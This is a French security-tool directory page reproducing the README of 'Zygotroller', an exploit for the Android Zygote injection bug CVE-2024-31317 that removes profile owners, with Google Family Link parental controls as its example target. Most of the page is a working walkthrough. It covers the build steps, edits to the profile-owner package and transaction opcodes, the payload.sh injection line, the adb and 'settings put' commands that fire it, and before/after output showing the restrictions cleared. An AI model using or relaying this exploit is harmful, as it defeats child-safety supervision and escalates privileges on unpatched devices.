Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Zygotroller — Supprimer les propriétaires de profil Android / le lien Family Link avec CVE-2024-31317 | Kitploit
Outils/GitHubGitHub/rifting/zygotroller
Sécurité AndroidEscalade de PrivilègesAnalyse des VulnérabilitésExploitationSécurité MobileDéveloppement de Charges Utiles
GitHubrifting/zygotroller

Zygotroller

Supprimer les propriétaires de profil Android / le lien Family Link avec CVE-2024-31317

Voir le dépôt
41il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Zygotroller

Supprimer les propriétaires de profil / Family Link sur TOUT appareil en mode développeur antérieur à juin 2024 (Android 12+)

Zygotroller est une preuve de concept qui peut supprimer un propriétaire de profil et les restrictions associées grâce au bug d'injection Zygote de la CVE-2024-31317. Il nécessite le mode développeur et que le dernier correctif de sécurité soit antérieur à juin 2024.

Le système de contrôle parental de Google, Family Link, est présenté comme exemple dans ce dépôt.

Utilisation

Vous aurez besoin d'un appareil relativement récent exécutant une distribution basée sur Debian pour compiler Zygotroller. Des précompilés peuvent être disponibles ou non selon le moment où vous lisez ceci.

Malheureusement, cela repose sur des parties internes d'Android, vous devez donc cloner l'intégralité du code source Android afin de construire Zygotroller. Assurez-vous d'avoir au moins 400 Go d'espace libre, même si vous en utiliserez probablement moins.

IMPORTANT SI VOUS UTILISEZ WSL : Assurez-vous d'avoir BEAUCOUP de swap, sinon WSL plantera. Personnellement, j'ai utilisé 32 G :

root@kitploit:~
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile

Maintenant, pour cloner le source AOSP :

root@kitploit:~
mkdir ~/aosp
cd ~/aosp

repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest

repo sync -c -j8 (peut demander plusieurs tentatives à cause des limites de débit)

source build/envsetup.sh

lunch aosp_cf_arm64_only_phone-aosp_current-eng (si vous testez sur un émulateur, remplacez arm64 par x86_64)

cd ~/aosp/external

git clone https://github.com/rifting/Zygotroller

cd Zygotroller

Maintenant, nous devons modifier les valeurs dans le script pour notre propriétaire de profil réel et l'opcode de clearProfileOwner. Le propriétaire de profil peut être soit dans le package « supervision » de Google Play services, soit dans Google Play services lui-même. Exécutez dpm list-owners, mon résultat était le suivant :

root@kitploit:~
$ dpm list-owners
1 owner:
User  0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner

Cela nous donne deux informations nécessaires pour Zygotroller : le nom du package (com.google.android.gms.supervision) et le nom de la classe (com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver).

Modifiez zygotroll.cpp avec votre éditeur de texte préféré et mettez à jour ces lignes avec votre composant propriétaire de profil :

root@kitploit:~
    // Family Link profile owner
    std::string pkg = "com.google.android.gms.supervision";
    std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";

Maintenant, vous devez trouver l'opcode de la fonction clearProfileOwner de DPM. C'était « 91 » pour moi, mais cela varie selon la version/type d'Android que vous exécutez. Pour obtenir l'opcode de clearProfileOwner, j'ai utilisé android-svc avec la commande

android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'

Le nombre que vous voyez dans la sortie sera l'opcode pour clearprofile owner, rouvrez zygotroll.cpp avec votre éditeur de texte préféré et modifiez le nombre ici, avec votre opcode réel :

root@kitploit:~
    // Transaction code 91 was ClearProfileOwner for my device
    dpm->transact(91, data, &reply);

Vous voudrez faire la même chose avec setUserRestriction :

root@kitploit:~
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);

Maintenant, nous devons compiler zygotroller :

mm

Cela peut prendre TRÈS longtemps lors de la compilation initiale ; les compilations suivantes prendront <1 min sur la plupart des machines modernes.

Trouvez votre binaire dans ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller

Maintenant, nous devons créer une application qui contient ce binaire en tant que « bibliothèque partagée » qui n'est en réalité que l'exécutable Zygotroller, afin que SELinux nous permette de l'exécuter. Vous pouvez utiliser mon dépôt « CopyNativeLib » pour cela :

git clone https://github.com/rifting/CopyNativeLib.git

Ensuite, renommez votre binaire Zygotroller en libzygotroller.so et placez-le dans app/src/main/jniLibs/arm64-v8a (je suppose que ce sera l'architecture de votre téléphone). Construisez l'APK dans Android Studio et installez-le sur votre appareil avec adb install.

Le propriétaire de profil Family Link était l'utilisateur 10090 pour moi, alias u0_a90. Faites dumpsys package com.google.android.gms.supervision | grep userId=

Maintenant, jetez un œil à payload.sh, sur cette ligne

inject='\n--setuid=10090...

Changez l'UID ici de 10090 vers celui que vous avez obtenu avec la commande dumpsys. Si c'est le même, laissez-le.

Regardez un peu plus loin sur cette ligne et vous verrez

...echo zYg0te $(LD_LIBRARY_PATH=[chemin vers votre bibliothèque native] [chemin vers votre bibliothèque native])...

(les trois points indiquent une troncature)

Vous devez remplacer ces chemins par ceux de la bibliothèque native que vous venez d'installer sur l'appareil. Exécutez pm path com.rifting.copynativelib. Le chemin du fichier sera le répertoire parent de l'APK affiché en sortie de la commande, + lib/arm64-v8a/libzygotroller.so. LD_LIBRARY_PATH doit être le répertoire de la bibliothèque, puis le chemin réel vers la bibliothèque doit venir après. Cette ligne ressemblera donc à ceci :

...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...

Vous y êtes presque ! Poussez ce fichier vers /data/local/tmp

adb push payload.sh /data/local/tmp

Définissez les permissions :

chmod +x /data/local/tmp/payload.sh

Et enfin, envoyez sa sortie dans hidden_api_blacklist_exemptions !

settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"

Maintenant, définissez ceci sur « 0 » pour éviter une boucle de démarrage :) settings put global hidden_api_blacklist_exemptions 0

Vous devriez constater que le propriétaire de profil Family Link et toutes les restrictions associées ont été supprimés. Allez dans les paramètres et gérez les comptes, puis supprimez le compte supervisé de l'appareil. Félicitations !

Avant :

root@kitploit:~
$ dpm list-owners
1 owner:
User  0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
root@kitploit:~
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
    <restrictions_user user_id="0">
      <restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
    </restrictions_user>
  </device_policy_local_restrictions>
...

Après :

root@kitploit:~
$ dpm list-owners
no owners
emu64xa:/ $
root@kitploit:~
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...

Remerciements particuliers

gburca pour BinderDemo

L'article de blog génial de LLeaves sur cette CVE

Télécharger l’outil